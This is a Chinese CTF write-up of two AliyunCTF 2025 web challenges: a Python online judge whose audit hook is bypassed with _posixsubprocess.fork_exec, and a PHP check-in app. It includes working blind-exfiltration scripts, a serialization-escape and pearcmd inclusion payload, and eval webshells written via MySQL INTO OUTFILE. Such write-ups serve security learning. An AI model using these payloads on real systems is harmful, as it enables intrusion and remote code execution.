AliyunCTF25

补充知识点

  • ezoj
    • python沙盒
      • python audit
      • python ast pyblocky
  • 打卡ok
    • 目录字典,类似目录
    • cookie
      • php cookie
      • flask cookie
    • 数据库角度进入

ezoj

ezoj | open

呜呜,难得一道思路对的(中间还有一段看错了),但是没时间写脚本(坐车回学校

  1. /source

    1. 看样子,python服务是可以写入文件的
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    import os
    import subprocess
    import uuid
    import json
    from flask import Flask, request, jsonify, send_file
    from pathlib import Path

    app = Flask(__name__)

    SUBMISSIONS_PATH = Path("./submissions")
    PROBLEMS_PATH = Path("./problems")

    SUBMISSIONS_PATH.mkdir(parents=True, exist_ok=True)

    CODE_TEMPLATE = """
    import sys
    import math
    import collections
    import queue
    import heapq
    import bisect

    def audit_checker(event,args):
    if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
    raise RuntimeError

    sys.addaudithook(audit_checker)


    """


    class OJTimeLimitExceed(Exception):
    pass


    class OJRuntimeError(Exception):
    pass


    @app.route("/")
    def index():
    return send_file("static/index.html")


    @app.route("/source")
    def source():
    return send_file("server.py")

    # 返回全部的问题信息
    @app.route("/api/problems")
    def list_problems():
    problems_dir = PROBLEMS_PATH
    problems = []
    for problem in problems_dir.iterdir():
    # 构造问题配置文件的完整路径
    problem_config_file = problem / "problem.json"
    if not problem_config_file.exists():
    continue

    problem_config = json.load(problem_config_file.open("r")) # 可疑注入点
    problem = {
    "problem_id": problem.name,
    "name": problem_config["name"],
    "description": problem_config["description"],
    }
    problems.append(problem)

    problems = sorted(problems, key=lambda x: x["problem_id"])

    problems = {"problems": problems}
    return jsonify(problems), 200

    # 解析json格式: code, problem_id
    @app.route("/api/submit", methods=["POST"])
    def submit_code():
    try:
    data = request.get_json()
    code = data.get("code")
    problem_id = data.get("problem_id")

    if code is None or problem_id is None:
    return (
    jsonify({"status": "ER", "message": "Missing 'code' or 'problem_id'"}),
    400,
    )

    problem_id = str(int(problem_id))
    problem_dir = PROBLEMS_PATH / problem_id
    if not problem_dir.exists():
    return (
    jsonify(
    {"status": "ER", "message": f"Problem ID {problem_id} not found!"}
    ),
    404,
    )
    # 128位, 合理竞争不了
    code_filename = SUBMISSIONS_PATH / f"submission_{uuid.uuid4()}.py"
    with open(code_filename, "w") as code_file:
    # TEMPLATE里有唯一的黑名单
    code = CODE_TEMPLATE + code
    code_file.write(code)

    result = judge(code_filename, problem_dir) # judge()有希望吗

    code_filename.unlink() # 请求返回前存在, 延长jdge时间?

    return jsonify(result)

    except Exception as e:
    return jsonify({"status": "ER", "message": str(e)}), 500

    # 问题一一对应
    def judge(code_filename, problem_dir):
    test_files = sorted(problem_dir.glob("*.input"))
    total_tests = len(test_files)
    passed_tests = 0

    try:
    for test_file in test_files:
    input_file = test_file
    expected_output_file = problem_dir / f"{test_file.stem}.output" # output也可以是注入点

    if not expected_output_file.exists():
    continue

    case_passed = run_code(code_filename, input_file, expected_output_file)

    if case_passed:
    passed_tests += 1

    if passed_tests == total_tests:
    return {"status": "AC", "message": f"Accepted"}
    else:
    return {
    "status": "WA",
    "message": f"Wrang Answer: pass({passed_tests}/{total_tests})",
    }
    except OJRuntimeError as e:
    return {"status": "RE", "message": f"Runtime Error: ret={e.args[0]}"} # 报错obj有机会吗
    except OJTimeLimitExceed:
    return {"status": "TLE", "message": "Time Limit Exceed"}


    def run_code(code_filename, input_file, expected_output_file):
    with open(input_file, "r") as infile, open(
    expected_output_file, "r"
    ) as expected_output:
    expected_output_content = expected_output.read().strip()

    process = subprocess.Popen(
    ["python3", code_filename],
    stdin=infile,
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE,
    text=True,
    )

    try:
    # 最多5s bro
    stdout, stderr = process.communicate(timeout=5)
    except subprocess.TimeoutExpired:
    process.kill()
    raise OJTimeLimitExceed

    if process.returncode != 0:
    raise OJRuntimeError(process.returncode) # 报错不太可控啊

    # 检测是否通过
    if stdout.strip() == expected_output_content:
    return True
    else:
    return False


    if __name__ == "__main__":
    # 非debug模式,可以写道server.py里面
    app.run(host="0.0.0.0", port=5000)

  2. 关键在于audit_checker绕过: [https://dummykitty.github.io/python/2023/05/30/pyjail-bypass-07-%E7%BB%95%E8%BF%87-audit-hook.html]不太对应题目

    1. 注意:执行完毕后我们的submission文件才会被删除
    2. 栈帧可以绕过限制吗?
    3. 目的: 执行命令并写入server.py
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    CODE_TEMPLATE = """
    import sys
    import math
    import collections
    import queue
    import heapq
    import bisect

    def audit_checker(event,args):
    if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
    raise RuntimeError

    sys.addaudithook(audit_checker)


    """
  3. shit man, 刚刚看错了,是not event, 好急: [https://docs.python.org/3.13/library/audit_events.html] 环境是python3版本, 了解一下几个事件

    1. input() python2存在漏洞, 应该是不行
    2. 现在唯一的问题就是无法exec了,emm
    1
    2
    3
    4
    5
    6
    # 这是可以执行了吗? Wrang Answer: pass(0/10)
    __import__('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__import__('os').pipe()), False, False,False, None, None, None, -1, None, False)

    # 小改一下,还是不行,文件没有权限吗,看来只能盲注看看了
    __import__('_posixsubprocess').fork_exec([b"/bin/sh","-c", "ls >> server.py"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__import__('os').pipe()), False, False,False, None, None, None, -1, None, False)
    __import__('_posixsubprocess').fork_exec([b"/bin/sh","-c", "ls >> static/server.py"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__import__('os').pipe()), False, False,False, None, None, None, -1, None, False)
  4. 可能的用盲注了,sleep()!没时间写脚本了呜呜

  5. 还有一种思路是打个内存马

    1. 子进程中设置的任何审计钩子(audit hooks)或类似的机制仅对该子进程有效,并不会影响到父进程x
    2. 子进程无法直接访问父进程中的资源或状态,包括 Flask 应用的状态、变量或上下文 –> 栈帧逃逸?手段有点多了(subprocess不确定(ai说是在操作系统级别启动了一个新的执行环境,不行),综上还是试试盲注)

ezoj | 复现

法一: python盲注

  1. 这里并不是使用时间盲注而通过返回码进行注入,但是时间盲注也可以,本质是一样的

    1. ai的时候卡在了读取输出,这里看一下文档,nb没有文档,看一下源码[https://github.com/google/python-subprocess32/blob/main/_posixsubprocess.c],**这里python文件没有实现,要看一下源码**
    2. [https://www.programcreek.com/python/example/118707/_posixsubprocess.fork_exec]中也有read的内容,试一下
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    # 源码搜fork_exec(,有注释看一下,但是没有用
    "fork_exec(args, executable_list, close_fds, cwd, env,\n\
    p2cread, p2cwrite, c2pread, c2pwrite,\n\
    errread, errwrite, errpipe_read, errpipe_write,\n\
    restore_signals, call_setsid, preexec_fn)\n\
    \n\
    Forks a child process, closes parent file descriptors as appropriate in the\n\
    child and dups the few that are needed before calling exec() in the child\n\
    process.\n\
    \n\
    The preexec_fn, if supplied, will be called immediately before exec.\n\
    WARNING: preexec_fn is NOT SAFE if your application uses threads.\n\
    It may trigger infrequent, difficult to debug deadlocks.\n\
    \n\
    If an error occurs in the child process before the exec, it is\n\
    serialized and written to the errpipe_write fd per subprocess.py.\n\
    \n\
    Returns: the child process's PID.\n\
    \n\
    Raises: Only on an error in the parent process.\n\
    "

    # 下面是官方payload的源码分析,要略读一遍,换我来应该是找不到的
    if (c2pwrite == 1) {
    if (_Py_set_inheritable_async_safe(c2pwrite, 1, NULL) < 0)
    goto error;
    }
    else if (c2pwrite != -1)
    POSIX_CALL(dup2(c2pwrite, 1)); /* stdout */

    # 可以知道是subprocess中有调用到,看看具体怎么用的,搜fork_exec(
    # ...
    self.pid = _fork_exec(
    args, executable_list,
    close_fds, tuple(sorted(map(int, fds_to_keep))),
    cwd, env_list,
    p2cread, p2cwrite, c2pread, c2pwrite,
    errread, errwrite,
    errpipe_read, errpipe_write,
    restore_signals, start_new_session,
    process_group, gid, gids, uid, umask,
    preexec_fn, _USE_VFORK)
    self._child_created = True
    finally:
    # be sure the FD is closed no matter what
    os.close(errpipe_write)

    self._close_pipe_fds(p2cread, p2cwrite,
    c2pread, c2pwrite,
    errread, errwrite)

    # Wait for exec to fail or succeed; possibly raising an
    # exception (limited in size)
    errpipe_data = bytearray()
    while True:
    part = os.read(errpipe_read, 50000)
    errpipe_data += part
    if not part or len(errpipe_data) > 50000:
    break
    finlly:
    # be sure the FD is closed no matter what
    os.close(errpipe_read)

    if rrpipe_data:
    try:
    pid, sts = os.waitpid(self.pid, 0)
    if pid == self.pid:
    self._handle_exitstatus(sts)
    else:
    self.returncode = sys.maxsize
    except ChildProcessError:
    pass

    try:
    exception_name, hex_errno, err_msg = (
    errpipe_data.split(b':', 2))
    # The encoding here should match the encoding
    # written in by the subprocess implementations
    # like _posixsubprocess
    err_msg = err_msg.decode()
    except ValueError:
    exception_name = b'SubprocessError'
    hex_errno = b'0'
    err_msg = 'Bad exception data from child: {!r}'.format(
    bytes(errpipe_data))
    child_exception_type = getattr(
    builtins, exception_name.decode('ascii'),
    SubprocessError)
    if issubclass(child_exception_type, OSError) and hex_errno:
    errno_num = int(hex_errno, 16)
    if err_msg == "noexec:chdir":
    err_msg = ""
    # The error must be from chdir(cwd).
    err_filename = cwd
    elif err_msg == "noexec":
    err_msg = ""
    err_filename = None
    else:
    err_filename = orig_executable
    if errno_num != 0:
    err_msg = os.strerror(errno_num)
    if err_filename is not None:
    raise child_exception_type(errno_num, err_msg, err_filename)
    else:
    raise child_exception_type(errno_num, err_msg)
    raise child_exception_type(err_msg)
  2. 最后还是根据[https://www.programcreek.com/python/example/118707/_posixsubprocess.fork_exec]来获取

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    # poc
    import _posixsubprocess
    import os

    c2p_read, c2p_write = os.pipe()
    err_read, err_write = os.pipe()

    args = [b"/bin/ls"]
    _pid = _posixsubprocess.fork_exec(args,
    [b"/bin/ls"], # 这个也要记得改
    True,
    (),
    None, None, -1, -1, c2p_read, c2p_write, -1, -1,
    err_read, err_write,
    False, False, False, None, None, None, -1, None, False)
    os.close(c2p_write)
    output = os.read(c2p_read, 1024)
    os.close(c2p_read)

    print(len(output))
    print(output)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    # final payload script: 时间盲注
    import requests

    bp = {
    "http": "http://localhost:8080",
    }
    host = "http://121.41.238.106:35649/api/submit"
    res = ""
    for i in range(100):
    for j in range(128):
    if_zero = False
    kc1zs4=j
    # 这个code要注意缩进,不然也过不了
    code=f"""
    import _posixsubprocess
    import os

    c2p_read, c2p_write = os.pipe()
    err_read, err_write = os.pipe()

    args = [b"/bin/bash", b"-c", b"cat /flag-b3236515-fead-4f4a-b74b-fb33a7438f3e"]
    _pid = _posixsubprocess.fork_exec(args,
    [b"/bin/bash"], # 这个也要记得改
    True,
    (),
    None, None, -1, -1, c2p_read, c2p_write, -1, -1,
    err_read, err_write,
    False, False, False, None, None, None, 0, None, False)
    os.close(c2p_write)
    output=os.read(c2p_read, 1024)
    os.close(c2p_read)

    if output[{i}] == {kc1zs4}:
    from time import sleep
    sleep(1)
    """

    try:
    print("正在尝试",kc1zs4)
    resp = requests.post(host,json={
    "problem_id": "0", # 这个不是数字0,卡了我好久
    "code": code
    },timeout=2, proxies=bp)

    except Exception as e:

    if kc1zs4 == 0:
    if if_zero == True:
    print("输出完毕")
    print(res)
    exit(0)
    else:
    if_zero = True
    print(chr(kc1zs4))
    res+=chr(kc1zs4)
    print(res)
    break
    else:
    continue



法二:返回码python盲注

  1. 这种方法会比sleep时间盲注快很多,可以通过返回值来带出ascii编码{"message":"Runtime Error: ret=1","status":"RE"}

  2. final_res: aliyunctf{a50f42d9-faf6-4cba-8854-18087ff25712}

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    import requests

    bp = {
    "http": "http://localhost:8080",
    }
    host = "http://121.41.238.106:35649/api/submit"
    res = ""

    code_template="""
    import _posixsubprocess
    import os
    import sys

    c2p_read, c2p_write = os.pipe()
    err_read, err_write = os.pipe()

    args = [b"/bin/bash", b"-c", b"{command}"]
    _pid = _posixsubprocess.fork_exec(args,
    [b"/bin/bash"], # 这个也要记得改
    True,
    (),
    None, None, -1, -1, c2p_read, c2p_write, -1, -1,
    err_read, err_write,
    False, False, False, None, None, None, -1, None, False)
    os.close(c2p_write)
    output=os.read(c2p_read, 1024)
    os.close(c2p_read)

    output_len = len(output)

    if {i} < output_len:
    sys.exit(output[{i}])
    else:
    sys.exit(255)
    """

    # command = "ls /"
    command = "cat /flag-b3236515-fead-4f4a-b74b-fb33a7438f3e"
    for i in range(254):
    # 发送报文,这里code和code_template重名会出错,导致在第一次后就固定无法替换了
    code = code_template.format(command=command, i=i)
    data = {
    "problem_id": "0",
    "code": code
    }

    r = requests.post(host, json=data, proxies=bp, timeout=2)
    r_data = r.json()
    assert(r_data["status"] == "RE") # 判断是否错误,需要人工纠错

    r_ret_loc = r_data["message"].find("ret=")
    r_ret = r_data["message"][r_ret_loc+4:]
    if r_ret == "255":
    break
    res += chr(int(r_ret))
    print(res)
    print("final_res: "+res)

法三: 返回码bash盲注

  1. 这里似乎不行,看c1oudfl0w0大佬的博客看太快了(

ezoj | 总结

  1. ai不出就看文档/搜索/源码/查找原有程序中的应用/ai解读
    1. 比如读取输出来进行盲注的问题,可以看subprocess中对_posixsubprocess.fork_exec()的调用
    2. [https://www.programcreek.com/python/example/118707/_posixsubprocess.fork_exec#example5]这里也有
  2. 函数参数列表的解读很重要,可以慢点看(5s换2小时): 比如这里的_posixsubprocess.fork_exec()中c2p_read和c2p_write的使用
  3. 版本信息很重要: tips,这里可以通过sys.version_info来读取到python版本是3.12.9
  4. 盲注角度看返回信息与不同层次
    1. 多所有返回信息敏感,比较差异,尤其盲注时: 返回码也是信息,这里可以构造类似于布尔盲注(有返回可控就可以boolean盲注)
    2. 返回可控和有差异也要区分
    3. 返回数字可控可以ascii盲注
    4. 比如如果一直卡在python读取回显可以考虑从bash盲注

打卡_ok

打卡_ok | OPEN

  1. 扫目录,有index.php

    1. cache.php, error.php
    2. 要先登录,防止跳转
    3. 可能的思路
      1. $check到writec写入木马到缓存文件(不确定),并且通过后学的文件文件include包含该缓存文件
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    // index.php
    <?php
    session_start();
    if($_SESSION['login']!=1){
    echo "<script>alert(\"Please login!\");window.location.href=\"./login.php\";</script>";
    return ;
    }
    ?>
    <!doctype html>
    <html lang="en">
    <head>
    <meta charset="utf-8">
    <title>打卡系统</title>
    <meta name="keywords" content="HTML5 Template">
    <meta name="description" content="Forum - Responsive HTML5 Template">
    <meta name="author" content="Forum">
    <link rel="shortcut icon" href="favicon/favicon.ico">
    <meta name="format-detection" content="telephone=no">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <link rel="stylesheet" href="css/style.css">
    </head>
    <body>
    <!-- tt-mobile menu -->
    <nav class="panel-menu" id="mobile-menu">
    <ul>

    </ul>
    <div class="mm-navbtn-names">
    <div class="mm-closebtn">
    Close
    <div class="tt-icon">
    <svg>
    <use xlink:href="#icon-cancel"></use>
    </svg>
    </div>
    </div>
    <div class="mm-backbtn">Back</div>
    </div>
    </nav>

    <main id="tt-pageContent">
    <div class="container">
    <div class="tt-wrapper-inner">
    <h1 class="tt-title-border">
    补卡系统
    </h1>
    <form class="form-default form-create-topic" action="./index.php" method="POST">
    <div class="form-group">
    <label for="inputTopicTitle">姓名</label>
    <div class="tt-value-wrapper">
    <input type="text" name="username" class="form-control" id="inputTopicTitle" placeholder="<?php echo $_SESSION['username'];?>">
    </div>

    </div>

    <div class="pt-editor">
    <h6 class="pt-title">补卡原因</h6>

    <div class="form-group">
    <textarea name="reason" class="form-control" rows="5" placeholder="Lets get started"></textarea>
    </div>

    <div class="row">
    <div class="col-auto ml-md-auto">
    <button class="btn btn-secondary btn-width-lg">提交</button>
    </div>
    </div>
    </div>
    </form>
    </div>

    </div>
    </main>
    </body>
    </html>
    <?php
    include './cache.php';
    $check=new checkin();
    if(isset($_POST['reason'])){
    if(isset($_GET['debug_buka']))
    {
    $time=date($_GET['debug_buka']);
    }else{
    $time=date("Y-m-d H:i:s");
    }
    $arraya=serialize(array("name"=>$_SESSION['username'],"reason"=>$_POST['reason'],"time"=>$time,"background"=>"ok"));
    // 前文件名,后serialized的数组, reason可控,字符串逃逸重写background
    $check->writec($_SESSION['username'].'-'.date("Y-m-d"),$arraya);
    }
    if(isset($_GET['check'])){
    $cachefile = '/var/www/html/cache/' . $_SESSION['username'].'-'.date("Y-m-d"). '.php';
    // $SESSION['username']是md5的,不可控,但是可以知道文件名
    if (is_file($cachefile)) {
    $data=file_get_contents($cachefile);
    $checkdata = unserialize(str_replace("<?php exit;//", '', $data));
    $check="/var/www/html/".$checkdata['background'].".php";
    include "$check";
    }else{
    include 'error.php';
    }
    }
    ?>

打卡_ok | 复现

  1. 这里要绕过登录可能的路径有爆破、注入、找泄露这些(多个扫+逻辑判断),这里时login.php类似index.php的泄露

    1. 666,wp叫做扫出一个adminer_481.php,爆破字典555
    2. 误会wp了,可以在index.php看到有backgroud等于ok后进行拼接,有ok.php,访问`ok.php`可以得到adminer_481.php
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    <!doctype html>
    <html lang="en">
    <head>
    <meta charset="utf-8">
    <meta name="keywords" content="HTML5 Template">
    <meta name="description" content="Forum - Responsive HTML5 Template">
    <meta name="author" content="Forum">
    <link rel="shortcut icon" href="favicon/favicon.ico">
    <meta name="format-detection" content="telephone=no">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <link rel="stylesheet" href="css/style.css">
    </head>
    <body>
    <!-- tt-mobile menu -->

    <main id="tt-pageContent" class="tt-offset-none">
    <div class="container">
    <div class="tt-loginpages-wrapper">
    <div class="tt-loginpages">
    <a href="index.html" class="tt-block-title">
    <div class="tt-title">
    登陆
    </div>

    </a>
    <form class="form-default" method="post" action="./login.php">
    <div class="form-group">
    <label for="loginUserName">Username</label>
    <input type="text" name="username" class="form-control" id="loginUserName" >
    </div>
    <div class="form-group">
    <label for="loginUserPassword">Password</label>
    <input type="password" name="password" class="form-control" id="loginUserPassword">
    </div>
    <div class="form-group">
    <label for="code">code</label>
    <input type="password" name="code" class="form-control">
    </div>
    <div class="form-group">
    <button class="btn btn-secondary btn-block">Log in</button>
    </div>

    </form>
    </div>
    </div>
    </div>
    </main>
    <script src="js/bundle.js"></script>
    </body>
    </html>
    <?php
    $servername = "localhost";
    $username = "web";
    $password = "web";
    $dbname = "web";
    $conn = new mysqli($servername, $username, $password, $dbname);

    if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
    }
    session_start();
    include './pass.php';

    if(isset($_POST['username']) and isset($_POST['password'])){
    $username=addslashes($_POST['username']);
    $password=$_POST['password'];
    $code=$_POST['code'];
    $endpass=md5($code.$password).':'.$code;
    $sql = "select password from users where username='$username'";
    $result = $conn->query($sql);
    // 存在用户
    if ($result->num_rows > 0) {
    while($row = $result->fetch_assoc()) {
    if($endpass==$row['password']){
    $_SESSION['login'] = 1;
    $_SESSION['username'] = md5($username); // username不可控啊
    echo "<script>alert(\"Welcome $username!\");window.location.href=\"./index.php\";</script>";
    }
    }
    } else {
    echo "<script>alert(\"错误\");</script>";
    die();
    }
    $conn->close();

    }
    ?>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    <?php
    class mypass{
    public function generateRandomString($length = 10) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';

    for ($i = 0; $i < $length; $i++) {
    $randomString .= $characters[rand(0, $charactersLength - 1)];
    }

    return $randomString;
    }

    # 总是进行随机生成,长度为10,这个是什么密码啊
    public function checkpass($plain) {
    $password = $this->generateRandomString();
    $salt = substr(md5($password), 0, 5);
    $password = md5($salt . $plain) . ':' . $salt;
    return $password;
    }
    }
    ?>
  2. 这里还要死亡绕过,include后的本身有<?php exit;//

    1. unser时会进行去除
    2. 可控缓存文件
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    <?php
    /**
    *
    */
    class myCache
    {
    public function writecache($name,$data) {
    $file = '/var/www/html/cache/' . $name . '.php';
    $cachedata = "<?php exit;//" . $data;
    file_put_contents($file,$cachedata);
    return '';
    }
    }

    class checkin{
    function writec($data,$name)
    {
    $wr=new myCache();
    $wr->writecache($data,$name);
    }
    }
    ?>

预期解

  1. 数据库修改用户密码来实现登录

    1
    2
    3
    4
    5
    6
    7
    // php ok_ctf.php
    <?php
    $front_passwd=md5("12345"."kc1zs4");
    echo $front_passwd.':12345;

    // insert into users (id,username, password) values (4,'kc1zs4','5c739d4a834dc9cad6d86a5487f13dd0:12345');
    // select * from users;
  2. 登录kc1zs4,kc1zs4,12345

  3. 我的错误思路(FAILED失败 -> <?php exit;在这里无法绕过,需要找新的突破点,通过其他文件实现(php文件包含),这里用的pearcmd法)

    1. 接下来就是上面的思路: 写木马再包含/直接post即可,有几个注意点
      • 要控制cachefile中有直接的木马,并且最好可以绕过死亡exit
      • 同时又要控制str_replace后的字符串可以正常unserialize
      • 最后还要使得修改background为缓存文件
      1. 这里的<?php exit;是添加到反序列化的内容前面的,可以正常反序列化,同时又可以使得无法直接执行
      2. 可以直接通过$_POST['reason']来字符串逃逸
  4. wp的思路

    1. 使用反序列化字符逃逸需要两个输入点(一前一后可控),这里是$_POST['reason']data()

      1. **date()**可以通过转义字符来控制: [https://www.php.net/manual/zh/function.date.php],其中有讲到
    2. <?php exit;无法绕过,找新文件 -> pearcmd方法,见: 《php恶意文件包含》

      1
      2
      3
      4
      <?php
      // 打印类似: Wednesday the 15th
      echo date('l \t\h\e jS');
      ?>
  5. payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    import requests

    session = requests.Session()
    host="http://121.41.238.106:47234"
    bp={
    "http": "http://localhost:8080",
    }

    # login
    path_login = "/login.php"
    data={
    "username": "kc1zs4",
    "password": "kc1zs4",
    "code": "12345"
    }
    r = session.post(host+path_login, data=data, timeout=2)

    # 文件包含构造
    path_index = "/index.php?debug_buka=%5c%31%5c%32%5c%33%5c%78%5c%78%5c%78%5c%78%5c%22%5c%3b%5c%73%5c%3a%5c%34%5c%3a%5c%22%5c%74%5c%69%5c%6d%5c%65%5c%22%5c%3b%5c%73%5c%3a%5c%32%5c%3a%5c%22%5c%31%5c%32%5c%22%5c%3b%5c%73%5c%3a%5c%31%5c%30%5c%3a%5c%22%5c%62%5c%61%5c%63%5c%6b%5c%67%5c%72%5c%6f%5c%75%5c%6e%5c%64%5c%22%5c%3b%5c%73%5c%3a%5c%34%5c%33%5c%3a%5c%22%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%75%5c%73%5c%72%5c%2f%5c%6c%5c%6f%5c%63%5c%61%5c%6c%5c%2f%5c%6c%5c%69%5c%62%5c%2f%5c%70%5c%68%5c%70%5c%2f%5c%70%5c%65%5c%61%5c%72%5c%63%5c%6d%5c%64%22%5c%3b%5c%7d"
    data = {
    "reason": "xxx" # 需要bp换成: %3C%3Fphp+exit%3B%2F%2F%3C%3Fphp+exit%3B%2F%2F
    }
    r = session.post(host+path_index, data=data, proxies=bp, timeout=2)

    # pearcmd
    path_pearcmd = "/index.php"
    # python会自动url解码,这里需要bp加上: ?check&+config-create+/<?=@eval($_POST['1']);?>+/var/www/html/hello.php
    data={
    "check": "1"
    }
    r = session.post(host+path_pearcmd, data=data,proxies=bp, timeout=2)
    print(r.text)

非预期

  1. root:root登录mysql写木马

  2. sql命令执行

    1
    2
    3
    4
    5
    select '<?php eval($_POST["kc1zs4"]);?>' into outfile '/var/www/html/cache/kc1zs4.php'

    -- 随后直接
    http://121.41.238.106:52459/cache/kc1zs4.php
    POST:kc1zs4=system('cat /Ali_t1hs_1sflag_2025');

ref

  1. [https://xz.aliyun.com/news/17029]
  2. [https://c1oudfl0w0.github.io/blog/2025/02/22/AliyunCTF2025/]